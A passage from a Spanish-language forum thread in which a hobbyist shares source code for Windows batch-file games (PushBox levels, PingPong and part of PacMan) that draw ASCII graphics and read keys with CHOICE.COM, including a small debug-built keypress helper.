for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Win
cls
echo.
echo. Felicitaciones !
echo. %nick%
echo.
echo. Has Superado todos
echo. los niveles del
echo. Juego.
if not exist Records_%nick.txt% (
echo. Records PushBox 2 >>Records_%nick%.txt
echo. Jugador: %nick% >>Records_%nick%.txt)
for /l %%v in (1,1,%NLevels%) do (
if defined P%%v (
echo  Nivel: %%v Movs: !P%%v! >>Records_%nick%.txt))
ping -n 4 0.0.0.0 >nul

:End
msg * Gracias por Jugar PushBox v 2 by :: SmartGenius::
endlocal
exit

:Player
cls
echo.
echo. Nickname ?
set /p nick=">> "
if not defined nick set nick=User
Goto :Eof


:Logo
cls
echo.
echo. °°°°°°°°°°°°°°°°°°°°
echo. °°ÛÛÛ°Û°Û°ÛÛÛ°Û°°Û°°
echo. °°Û°Û°Û°Û°Û°°°Û°°Û°°
echo. °°ÛÛÛ°Û°Û°ÛÛÛ°ÛÛÛÛ°°
echo. °°Û°°°Û°Û°°°Û°Û°°Û°°
echo. °°Û°°°ÛÛÛ°ÛÛÛ°Û°°Û°°
echo. °°°°°°°°°°°°°°°°°°°°
echo. °°ÛÛÛ°ÛÛÛ°Û°Û°°ÛÛ°°°
echo. °°Û°Û°Û°Û°Û°Û°Û°°Û°°
echo. °°ÛÛ°°Û°Û°°Û°°°°Û°°°
echo. °°Û°Û°Û°Û°Û°Û°°Û°°°°
echo. °°ÛÛÛ°ÛÛÛ°Û°Û°ÛÛÛÛ°°
echo. °°°°°°°°°°°°°°°°°°°°
echo. °°: SmartGenius :°°°
echo. °°  Corp.  2009  °°°
echo. °°°°°°°°°°°°°°°°°°°°
echo. °°°°°°°°°°°°°°°°°°°°
ping -n 3 0.0.0.0 >nul
::Dedicated to the CUH,
::Code-Makers, Latinohack
::Members....by SmartGenius
Goto :Eof

:NoKey
@mode con cols=30 lines=20
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo.  A Continuacion sera creado...
call :keyboard
echo. Archivo Creado Satisfactoriamente
echo.
pause
Goto :Menu

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
echo. 1
pause
del /f/q/a "keyboard.exe">NUL 2>&1
echo. 2
pause
ren keyboard.dat "keyboard.exe"
echo. 3
pause
Goto :Eof


Nuevos Niveles (Levels.bat)
@echo off
::Niveles del Juego PushBox v 2 Reloaded
::Coordenadas Cartesianas
::Coded by :: SmartGenius ::

if ["%1"]==[""] (
if exist "Levels.bat" (
if not "%~nx0"=="Levels.bat" (
Ren "Levels.bat" "%random:~-1%_Back_Levels.bat"
Ren %0 Levels.bat
echo. Niveles Intercambiados
pause
exit
)))

Call :%1
Goto :Eof

:NUM
Set NLevels=5
Goto :Eof

::Inicio Nivel 1
:Level1
set Movs=0
set X6Y5=%Player%
set CurPos=X6Y5
set Pushes=X5Y2,X3Y5,X8Y4,X6Y7
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X5Y4,X5Y5,X7Y4,X6Y6) do (set %%h=%Box%)
for %%i in (X4Y1,X5Y1,X6Y1,X4Y2,X6Y2,X4Y3,X6Y3,X7Y3,X8Y3,X9Y3,X2Y4,X3Y4,X4Y4,X9Y4,X2Y5) do (set %%i=%Bound%)
for %%j in (X7Y5,X8Y5,X9Y5,X2Y6,X3Y6,X4Y6,X5Y6,X7Y6,X5Y7,X7Y7,X5Y8,X6Y8,X7Y8) do (set %%j=%Bound%)
for %%l in (X5Y3,X6Y4,X4Y5) do (set %%l= )
Goto :Eof

:Check1
set NXL=False
if "!X5Y2!"=="%Box%" (
if "!X3Y5!"=="%Box%" (
if "!X8Y4!"=="%Box%" (
if "!X6Y7!"=="%Box%" set NXL=True)))
Goto :Eof
::Fin Nivel 1

::Inicio Nivel 2
:Level2
set Movs=0
set X2Y2=%Player%
set CurPos=X2Y2
set Pushes=X8Y4,X8Y5,X8Y6
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X3Y3,X4Y3,X3Y4) do (set %%h=%Box%)
for %%i in (X1Y1,X2Y1,X3Y1,X4Y1,X5Y1,X1Y2,X5Y2,X1Y3,X5Y3,X7Y3,X8Y3,X9Y3,X1Y4,X5Y4,X7Y4,X9Y4) do (set %%i=%Bound%)
for %%j in (X1Y5,X2Y5,X3Y5,X5Y5,X6Y5,X7Y5,X9Y5,X2Y6,X3Y6,X9Y6,X2Y7,X6Y7,X9Y7,X2Y8,X6Y8,X7Y8) do (set %%j=%Bound%)
for %%k in (X8Y8,X9Y8,X2Y9,X3Y9,X4Y9,X5Y9,X6Y9) do (set %%k=%Bound%)
for %%l in (X3Y2,X4Y2,X2Y3,X2Y4,X4Y4,X4Y5,X4Y6,X5Y6,X7Y6,X3Y7) do (set %%l= )
for %%m in (X4Y7,X5Y7,X7Y7,X8Y7,X3Y8,X4Y8,X5Y8,X6Y6) do (set %%m= )
Goto :Eof

:Check2
set NXL=False
if "!X8Y4!"=="%Box%" (
if "!X8Y5!"=="%Box%" (
if "!X8Y6!"=="%Box%" set NXL=True))
Goto :Eof
::Fin Nivel 2

::Inicio Nivel 3
:Level3
set Movs=0
set X3Y3=%Player%
set CurPos=X3Y3
set Pushes=X3Y6,X3Y7,X4Y7,X5Y7,X6Y7
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X4Y3,X4Y4,X5Y5,X4Y6,X5Y7) do (set %%h=%Box%)
for %%i in (X3Y1,X4Y1,X5Y1,X6Y1,X2Y2,X3Y2,X6Y2,X2Y3,X6Y3,X2Y4,X3Y4,X6Y4,X7Y4,X2Y5,X3Y5,X7Y5) do (set %%i=%Bound%)
for %%j in (X2Y6,X7Y6,X2Y7,X7Y7,X2Y8,X3Y8,X4Y8,X5Y8,X6Y8,X7Y8) do (set %%j=%Bound%)
for %%l in (X4Y2,X5Y2,X5Y3,X5Y4,X4Y5,X6Y5,X5Y6,X6Y6) do (set %%l= )
Goto :Eof

:Check3
set NXL=False
if "!X3Y6!"=="%Box%" (
if "!X3Y7!"=="%Box%" (
if "!X4Y7!"=="%Box%" (
if "!X5Y7!"=="%Box%" (
if "!X6Y7!"=="%Box%" set NXL=True))))
Goto :Eof
::Fin Nivel 3

::Inicio Nivel 4
:Level4
set Movs=0
set X10Y8=%Player%
set CurPos=X10Y8
set Pushes=X4Y2,X8Y4,X5Y5,X2Y6,X6Y8
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X4Y4,X6Y4,X5Y5,X4Y6,X6Y6) do (set %%h=%Box%)
for %%i in (X3Y0,X4Y0,X5Y0,X6Y0,X7Y0,X8Y0,X9Y0,X0Y1,X1Y1,X2Y1,X3Y1,X9Y1,X0Y2,X5Y2,X6Y2,X7Y2) do (set %%i=%Bound%)
for %%j in (X9Y2,X0Y3,X2Y3,X4Y3,X9Y3,X10Y3,X0Y4,X2Y4,X7Y4,X10Y4,X0Y5,X2Y5,X8Y5,X10Y5,X0Y6,X3Y6) do (set %%j=%Bound%)
for %%k in (X8Y6,X10Y6,X0Y7,X1Y7,X6Y7,X8Y7,X10Y7,X11Y7,X12Y7,X1Y8,X3Y8,X4Y8,X5Y8,X12Y8,X1Y9,X7Y9) do (set %%k=%Bound%)
for %%l in (X8Y9,X12Y9,X1Y10,X2Y10,X3Y10,X4Y10,X5Y10,X6Y10,X7Y10,X8Y10,X9Y10,X10Y10,X11Y10,X12Y10) do (set %%l=%Bound%)
for %%m in (X4Y1,X5Y1,X6Y1,X7Y1,X8Y1,X1Y2,X2Y2,X3Y2,X8Y2,X1Y3,X3Y3,X5Y3,X6Y3,X7Y3,X8Y3,X1Y4,X3Y4,X5Y4) do (set %%m= )
for %%n in (X9Y4,X1Y5,X3Y5,X4Y5,X6Y5,X7Y5,X9Y5,X1Y6,X5Y6,X7Y6,X9Y6,X2Y7,X3Y7,X4Y7,X5Y7,X7Y7,X9Y7,X2Y8) do (set %%n= )
for %%o in (X7Y8,X8Y8,X9Y8,X11Y8,X2Y9,X3Y9,X4Y9,X5Y9,X6Y9,X9Y9,X10Y9,X11Y9) do (set %%o= )
Goto :Eof

:Check4
set NXL=False
if "!X4Y2!"=="%Box%" (
if "!X8Y4!"=="%Box%" (
if "!X5Y5!"=="%Box%" (
if "!X2Y6!"=="%Box%" (
if "!X6Y8!"=="%Box%" set NXL=True))))
Goto :Eof

::Inicio Nivel 5
:Level5
set Movs=0
set X9Y2=%Player%
set CurPos=X9Y2
set Pushes=X2Y7,X3Y7,X4Y7,X5Y7,X6Y7
for %%g in (%Pushes%) do (set %%g=%Push%)
for %%h in (X4Y4,X6Y4,X8Y4,X5Y5,X5Y6) do (set %%h=%Box%)
for %%i in (X4Y1,X5Y1,X6Y1,X7Y1,X8Y1,X9Y1,X10Y1,X3Y2,X4Y2,X7Y2,X10Y2,X3Y3,X7Y3,X10Y3,X3Y4,X10Y4) do (set %%i=%Bound%)
for %%j in (X3Y5,X6Y5,X7Y5,X10Y5,X1Y6,X2Y6,X3Y6,X7Y6,X9Y6,X10Y6,X1Y7,X9Y7,X1Y8,X2Y8,X3Y8) do (set %%j=%Bound%)
for %%k in (X4Y8,X5Y8,X6Y8,X7Y8,X9Y8) do (set %%k=%Bound%)
for %%l in (X5Y2,X6Y2,X8Y2,X4Y3,X5Y3,X6Y3,X8Y3,X9Y3,X5Y4,X7Y4) do (set %%l= )
for %%m in (X9Y4,X4Y5,X8Y5,X9Y5,X4Y6,X6Y6,X8Y6,X7Y7,X8Y7) do (set %%m= )
Goto :Eof

:Check5
set NXL=False
if "!X2Y7!"=="%Box%" (
if "!X3Y7!"=="%Box%" (
if "!X4Y7!"=="%Box%" (
if "!X5Y7!"=="%Box%" (
if "!X6Y7!"=="%Box%" set NXL=True))))
Goto :Eof
::Fin Nivel 5
::Fin de Coordenadas


Creo que ya saben como es la mecanica del juego,  un Jugador en una Especie de Laberinto, el cual tienes que guiar y hacer que Empuje (Push) unas Cajas (Box) hasta hacerlas llegar a unas posiciones predeterminadas, todo esto hacerlo en la menor cantidad de Movimientos.

Pronto mas packs de Levels !!!...

Saludos.  :D :D :D
#13
Bueno, que mas decirles.....otro Juego Batch mas a la lista  ;D

Ping Pong v 1


Descargar: http://one.xthost.info/smartv2/BatchGames/PingPong_bySmartGenius.zip (incluido CHOICE.COM)

Este es un juego similar al PingPong que alguna vez jugaron en las consolas, solo que en este la PC es invencible  >:D...auqnue eso lo podria modificar.  ;D

Controles:

Tecla "W" = Iniciar Juego / Acelerar la Bola
Tecla "A" = Mover Tabla a la Izquierda
Tecla "D" = Mover Tabla a la Derecha
Tecla "X" = Salir de Juego


Aqui el Codigo usado......en Base a lo aprendido con el tema de Graficos y Coordenadas.  ;)

@echo off
@title PingPong v 1
@mode con cols=28 lines=24
@::Juego Batch PingPong
@::Another Batch Game
@::by ::SmartGenius ::

if not exist "choice.com" (Goto :NoKey)

:load
call :Logo
setlocal enabledelayedexpansion
set LimX=18
set LimY=16
set TBound=3
set LBound=1
set /a RBound=%LimX%-1
set /a BBound=%LimY%-3
set NLevels=1

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b= ))
set Ball=O
set Bound=Û
set Block=
set Line=Û
set Lost=ù

:Levels
set /a L+=1
Call :Level%L%
Call :Graphic
set P%L%=%Movs%
if "%LOS%"=="True" Goto :Lost
if "%NXL%"=="True" Goto :End
if "%L%"=="%NLevels%" Goto :Win
ping -n 1 0.0.0.0 >nul
Goto :Init

:Graphic
Call :Clear
cls
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
echo.
echo.   PingPong v 1 by Smart
echo.
echo.    PC:%PPC%     Player:%Points%
echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%f in (0,1,%LimY%) do (echo.   º!Lin_%%f!º)
echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
rem pause >nul
call :%Action%
if "%PPC%"=="10" (Set LOS=True&set NXL=True)
if "%NXL%"=="True" (Goto :Eof)
Goto :Graphic

:Paused
CHOICE /C:WADX /N >nul
if "%errorlevel%"=="1" (set Action=Playing)
if "%errorlevel%"=="2" (call :LeftA)
if "%errorlevel%"=="3" (call :RightA)
if "%errorlevel%"=="4" (set NXL=True)
Call :MovPC "%CurPos%"
Goto :Eof

:Playing
CHOICE /C:WADX /N /T:W,1 >nul
if "%errorlevel%"=="1" (set Action=Playing)
if "%errorlevel%"=="2" (call :LeftB)
if "%errorlevel%"=="3" (call :RightB)
if "%errorlevel%"=="4" (set NXL=True)
Call :MovBall
Call :MovPC "%CurPos%"
Goto :Eof

::Logica de Movimiento en el Plano
::Coded by :: SmartGenius ::

:RightA
if ["%Table%"]==["%MaxTable%"] (Goto :Eof)
for /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX+ "%%u" "%%v" TB "!%%u!"
call set NewTable=!TB!,%Table%
for /f "tokens=1-5 delims=," %%t in ("!NewTable!") do (set NewTable=%%t,%%u,%%v,%%w,%%x)
set Table=!NewTable!
call :MovAX+ "%CurPos%" "%CurPos%" CurPos "!%CurPos%!"
)
Goto :Eof

:MovAX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p+1
call set NMovX=%%X!MovX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"==" " (
set %~2=
set X!MovX!Y%%q=%~4
set %3=X!MovX!Y%%q))
Goto :Eof

:RightB
if ["%Table%"]==["%MaxTable%"] (Goto :Eof)
for /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX+ "%%u" "%%v" TB "!%%u!"
call set NewTable=!TB!,%Table%
for /f "tokens=1-5 delims=," %%t in ("!NewTable!") do (set NewTable=%%t,%%u,%%v,%%w,%%x)
set Table=!NewTable!)
Goto :Eof

:LeftA
if ["%Table%"]==["%MinTable%"] (Goto :Eof)
for /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX- "%%v" "%%u" TB "!%%v!"
call set NewTable=%Table%,!TB!
for /f "tokens=2-6 delims=," %%t in ("!NewTable!") do (set NewTable=%%t,%%u,%%v,%%w,%%x)
set Table=!NewTable!
call :MovAX- "%CurPos%" "%CurPos%" CurPos "!%CurPos%!"
)
Goto :Eof

:LeftB
if ["%Table%"]==["%MinTable%"] (Goto :Eof)
for /f "tokens=1,5 delims=," %%u in ("%Table%") do (
call :MovAX- "%%v" "%%u" TB "!%%v!"
call set NewTable=%Table%,!TB!
for /f "tokens=2-6 delims=," %%t in ("!NewTable!") do (set NewTable=%%t,%%u,%%v,%%w,%%x)
set Table=!NewTable!)
Goto :Eof

:MovAX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p-1
call set NMovX=%%X!MovX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"==" " (
set %~2=
set X!MovX!Y%%q=%~4
set %3=X!MovX!Y%%q))
Goto :Eof

:MovPC
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
for /l %%x in (%LBound%,1,%RBound%) do (set X%%xY2= )
set /a PCL=%%p-2
set /a PCR=%%p+2
for /l %%s in (!PCL!,1,!PCR!) do (set X%%sY2=%Bound%))
Goto :Eof

:MovBall
set EOM=False
Call :%NextMov% "%CurPos%"
if "%EOM%"=="True" Goto :Eof
Goto :MovBall

::Moviemtos Diagonales de la Bola
::Movimiento Diagonal1
:Diag1
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p+1
set /a MovY=%%q+1
call set NMovXY=%%X!MovX!Y!MovY!%%

if "!NMovXY!"=="%Bound%" (
if "%%q"=="%BBound%" (set NextMov=Diag3)
if "%%p"=="%RBound%" (set NextMov=Diag4)
Goto :Eof)

if "!NMovXY!"==" " (
set %~1=
set X!MovX!Y!MovY!=%Ball%
set CurPos=X!MovX!Y!MovY!
set EOM=True)
)

if "!NMovXY!"=="%Lost%" (
set %~1=
set /a PPC+=1
call :Reset
set EOM=True)
)
Goto :Eof

::Movimiento Diagonal2
:Diag2
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p-1
set /a MovY=%%q-1
call set NMovXY=%%X!MovX!Y!MovY!%%

if "!NMovXY!"=="%Bound%" (
if "%%q"=="%TBound%" (set NextMov=Diag4)
if "%%p"=="%LBound%" (set NextMov=Diag3)
Goto :Eof)

if "!NMovXY!"==" " (
set %~1=
set X!MovX!Y!MovY!=%Ball%
set CurPos=X!MovX!Y!MovY!
set EOM=True)
)

if "!NMovXY!"=="%Lost%" (
set %~1=
set /a Points+=1
call :Reset
set EOM=True)
)
Goto :Eof

::Movimiento Diagonal3
:Diag3
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p+1
set /a MovY=%%q-1
call set NMovXY=%%X!MovX!Y!MovY!%%

if "!NMovXY!"=="%Bound%" (
if "%%q"=="%TBound%" (set NextMov=Diag1)
if "%%p"=="%RBound%" (set NextMov=Diag2)
Goto :Eof)

if "!NMovXY!"==" " (
set %~1=
set X!MovX!Y!MovY!=%Ball%
set CurPos=X!MovX!Y!MovY!
set EOM=True)
)

if "!NMovXY!"=="%Lost%" (
set %~1=
set /a Points+=1
call :Reset
set EOM=True)
)
Goto :Eof

::Movimiento Diagonal4
:Diag4
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p-1
set /a MovY=%%q+1
call set NMovXY=%%X!MovX!Y!MovY!%%

if "!NMovXY!"=="%Bound%" (
if "%%q"=="%BBound%" (set NextMov=Diag2)
if "%%p"=="%LBound%" (set NextMov=Diag1)
Goto :Eof)

if "!NMovXY!"==" " (
set %~1=
set X!MovX!Y!MovY!=%Ball%
set CurPos=X!MovX!Y!MovY!
set EOM=True)
)

if "!NMovXY!"=="%Lost%" (
set %~1=
set /a PPC+=1
call :Reset
set EOM=True)
)
Goto :Eof

:Clear
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Reset
set CurPos=X8Y13
set Table=X10Y14,X9Y14,X8Y14,X7Y14,X6Y14
for /l %%h in (1,1,17) do (set X%%hY14= )
for %%k in (%Init%) do (set %%k=%Line%)
for /f "tokens=1 delims=," %%j in ("%Init%") do (set %%j=%Ball%)
set Action=Paused
Goto :Eof

:Lost
msg * Perdiste !

:End
msg * Gracias por Jugar PingPong v1 by :: SmartGenius::
endlocal
exit

::Niveles del Juego PingPong
::Coordenadas Cartesianas
::Coded by :: SmartGenius ::

::Inicio Nivel 1
:Level1
set Movs=0
set Points=0
set PPC=0
set CurPos=X8Y13
set Table=X10Y14,X9Y14,X8Y14,X7Y14,X6Y14
set MaxTable=X17Y14,X16Y14,X15Y14,X14Y14,X13Y14
set MinTable=X5Y14,X4Y14,X3Y14,X2Y14,X1Y14
set Init=X8Y13,X6Y14,X7Y14,X8Y14,X9Y14,X10Y14
set Lives=3
set Dir=N
set Action=Paused
set NextMov=Diag3
for /l %%e in (%LBound%,1,%RBound%) do (set X%%eY1=.)
for /l %%f in (6,1,10) do (set X%%fY2=%Bound%)
for %%k in (%Init%) do (set %%k=%Line%)
for /f "tokens=1 delims=," %%j in ("%Init%") do (set %%j=%Ball%)
for /l %%i in (0,1,%LimX%) do (
set X0Y%%i=%Bound%
set X%LimX%Y%%i=%Bound%
set X%%iY0=%Bound%
set X%%iY%LimY%=%Bound%)
rem for /l %%l in (2,1,16) do (set X%%lY2=%Block%)
rem for /l %%m in (4,1,14) do (set X%%mY3=%Block%)
rem for /l %%n in (6,1,12) do (set X%%nY4=%Block%)
rem for /l %%o in (8,1,10) do (set X%%oY5=%Block%)
for /l %%r in (1,1,17) do (set X%%rY15=%Lost%)
Goto :Eof

::Fin Nivel 1

::Fin de Coordenadas

:Logo
cls
echo.
echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
echo. °ÛÛÛÛ°°Û°°ÛÛ°°°Û°°°ÛÛÛÛ°°°
echo. °Û°°Û°°Û°°Û°Û°°Û°°Û°°°°°°°
echo. °Û°°Û°°Û°°Û°°Û°Û°°Û°°°°°°°
echo. °ÛÛÛÛ°°Û°°Û°°Û°Û°°Û°°ÛÛ°°°
echo. °Û°°°°°Û°°Û°°°ÛÛ°°Û°°°Û°°°
echo. °Û°°°°°Û°°Û°°°°Û°°°ÛÛÛÛ°°°
echo. °°°°°°°°°°°±°°°°°°°°°°°°°°
echo. °°°°°°°°°°±°°±°°°°°°°°°°°°
echo. °°°°°°°°°±°°±°°°±°°°°°°°°°
echo. °ÛÛÛÛ°°²²°°±ÛÛ°±°Û°°ÛÛÛÛ°°
echo. °Û°°Û°²ÛÛ²±°Û°Û°°Û°Û°°°°°°
echo. °Û°°Û°ÛÛÛÛ°°Û±°Û°Û°Û°°°°°°
echo. °ÛÛÛÛ°ÛÛÛÛ°±Û°°Û°Û°Û°°°ÛÛ°
echo. °Û°°°°²ÛÛ²±°Û°°°ÛÛ°Û°°°°Û°
echo. °Û°°°°°²²°°°Û°°°°Û°°ÛÛÛÛ°°
echo. °°°ÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°
echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
echo. °°°°°: SmartGenius :°°°°°°
echo. °°°°°  Corp.  2009  °°°°°°
echo. °°°°°°°°°°°°°°°°°°°°°°°°°°
ping -n 3 0.0.0.0 >nul
Goto :Eof


:NoKey
@mode con cols=30 lines=20
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo  CHOICE.COM
echo.
echo  Por favor descargue una copia del Comando
echo  CHOICE de Internet...
echo.
pause
exit


Cualquier duda, comentario o sugerencia es Bienvenida.....

Que lo disfruten...y un Saludo  :D

#14
Bueno, de nuevo llevando a la practica el Tema de los Graficos en Batch, y una que otra cosita que he aprendido, pues les traigo otro Clasico de los Gamers...en Batch !!!

Pacman v 1


Es el Clasico Juego de PacMan en el que tienes que atravesar un Puzzle mientras recoges "Galletas" y vas acumulando puntos, pero teniendo cuidado con los Fantasmas..... ;D ;D

EL Juego hace uso de CHOICE

Descargar:PacManv1bySmart.zip (CHOICE Incluido)

@echo off
@title PacMan v 1
@mode con cols=24 lines=24
@::Juego Batch PacMan
@::Another Batch Game
@::by ::SmartGenius ::

if not exist "choice.com" (Goto :NoKey)

:load
call :Logo
setlocal enabledelayedexpansion
set LimX=16
set LimY=16
set NLevels=1

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=.))
set Player=
set Bound=Û
set Box=
set Ghost=

:Levels
set /a L+=1
Call :Level%L%
Call :Graphic
set P%L%=%Movs%
if "%NXL%"=="True" Goto :End
if "%L%"=="%NLevels%" Goto :Win
ping -n 1 0.0.0.0 >nul
Goto :Init

:Graphic
Call :Clear
cls
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
echo.
echo.  Pacman v 1 by Smart
echo.
echo.  Vidas:%Lives%   Puntos:%Points%
echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%f in (0,1,%LimY%) do (echo.   º!Lin_%%f!º)
echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
CHOICE /C:WASDX /N /T:%Dir%,1 >nul
if "%errorlevel%"=="1" (call :MovY- "%CurPos%" CurPos&set Dir=W)
if "%errorlevel%"=="2" (call :MovX- "%CurPos%" CurPos&set Dir=A)
if "%errorlevel%"=="3" (call :MovY+ "%CurPos%" CurPos&set Dir=S)
if "%errorlevel%"=="4" (call :MovX+ "%CurPos%" CurPos&set Dir=D)
if "%errorlevel%"=="5" (set NXL=True&Goto :Eof)
Call :MovGhost
for %%w in (%Boxes%) do (
if not "!%%w!"=="%Box%" (
if "!%%w!"=="." (set %%w=%Box%)))
set /a NCK=%Points% %% 7
if "%NCK%"=="0" set Cki=False
if "%EOG%"=="True" (msg * Perdiste&Goto :Eof)
Goto :Graphic

::Logica de Movimiento en el Plano
::Coded by :: SmartGenius ::

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p+1
call set NMovX=%%X!MovX!Y%%q%%

if "!NMovX!"=="%Bound%" (Goto :Eof)

if "!NMovX!"=="%Ghost%" (
if !%~1!==%Player% (
if "%Cki%"=="True" (
set %~1=
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q
set /a Points+=10
call :UnGhost "X!MovX!Y%%q"
)
if "%Cki%"=="False" (
set %~1=
set /a Lives-=1
set %Init%=%Player%
set %2=%Init%
if "!Lives!"=="0" (set EOG=True)
)))

if "!NMovX!"=="." (
if !%~1!==%Player% (
set %~1=
set /a Points+=2
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q)
if !%~1!==%Ghost% (
set %~1=.
set X!MovX!Y%%q=%Ghost%
set %2=X!MovX!Y%%q))

if "!NMovX!"==" " (
if !%~1!==%Player% (
set %~1=
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q)
if !%~1!==%Ghost% (
set %~1=
set X!MovX!Y%%q=%Ghost%
set %2=X!MovX!Y%%q))


if "!NMovX!"=="%Box%" (
if !%~1!==%Player% (
set %~1=
set /a Points+=5
set Cki=True
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q)
if !%~1!==%Ghost% (
set %~1=.
set X!MovX!Y%%q=%Ghost%
set %2=X!MovX!Y%%q)))

if !%~1!==%Player% set /a Movs+=1
Goto :Eof


:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p-1
call set NMovX=%%X!MovX!Y%%q%%

if "!NMovX!"=="%Bound%" (Goto :Eof)

if "!NMovX!"=="%Ghost%" (
if !%~1!==%Player% (
if "%Cki%"=="True" (
set %~1=
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q
set /a Points+=10
call :UnGhost "X!MovX!Y%%q"
)
if "%Cki%"=="False" (
set %~1=
set /a Lives-=1
set %Init%=%Player%
set %2=%Init%
if "!Lives!"=="0" (set EOG=True)
)))

if "!NMovX!"=="." (
if !%~1!==%Player% (
set %~1=
set /a Points+=2
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q)
if !%~1!==%Ghost% (
set %~1=.
set X!MovX!Y%%q=%Ghost%
set %2=X!MovX!Y%%q))

if "!NMovX!"==" " (
if !%~1!==%Player% (
set %~1=
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q)
if !%~1!==%Ghost% (
set %~1=
set X!MovX!Y%%q=%Ghost%
set %2=X!MovX!Y%%q))


if "!NMovX!"=="%Box%" (
if !%~1!==%Player% (
set %~1=
set /a Points+=5
set Cki=True
set X!MovX!Y%%q=%Player%
set %2=X!MovX!Y%%q)
if !%~1!==%Ghost% (
set %~1=.
set X!MovX!Y%%q=%Ghost%
set %2=X!MovX!Y%%q)))

if !%~1!==%Player% set /a Movs+=1
Goto :Eof


:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q+1
call set NMovY=%%X%%pY!MovY!%%

if "!NMovY!"=="%Bound%" (Goto :Eof)

if "!NMovY!"=="%Ghost%" (
if !%~1!==%Player% (
if "%Cki%"=="True" (
set %~1=
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!
set /a Points+=10
call :UnGhost "X%%pY!MovY!"
)
if "%Cki%"=="False" (
set %~1=
set /a Lives-=1
set %Init%=%Player%
set %2=%Init%
if "!Lives!"=="0" (set EOG=True)
)))

if "!NMovY!"=="." (
if !%~1!==%Player% (
set %~1=
set /a Points+=2
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!)
if !%~1!==%Ghost% (
set %~1=.
set X%%pY!MovY!=%Ghost%
set %2=X%%pY!MovY!))

if "!NMovY!"==" " (
if !%~1!==%Player% (
set %~1=
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!)
if !%~1!==%Ghost% (
set %~1=
set X%%pY!MovY!=%Ghost%
set %2=X%%pY!MovY!))


if "!NMovY!"=="%Box%" (
if !%~1!==%Player% (
set %~1=
set /a Points+=5
set Cki=True
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!)
if !%~1!==%Ghost% (
set %~1=.
set X%%pY!MovY!=%Ghost%
set %2=X%%pY!MovY!)))

if !%~1!==%Player% set /a Movs+=1
Goto :Eof


:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q-1
call set NMovY=%%X%%pY!MovY!%%

if "!NMovY!"=="%Bound%" (Goto :Eof)

if "!NMovY!"=="%Ghost%" (
if !%~1!==%Player% (
if "%Cki%"=="True" (
set %~1=
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!
set /a Points+=10
call :UnGhost "X%%pY!MovY!"
)
if "%Cki%"=="False" (
set %~1=
set /a Lives-=1
set %Init%=%Player%
set %2=%Init%
if "!Lives!"=="0" (set EOG=True)
)))

if "!NMovY!"=="." (
if !%~1!==%Player% (
set %~1=
set /a Points+=2
set X%%pY!MovY!=%Player%
set %2=X%%pY!MovY!)
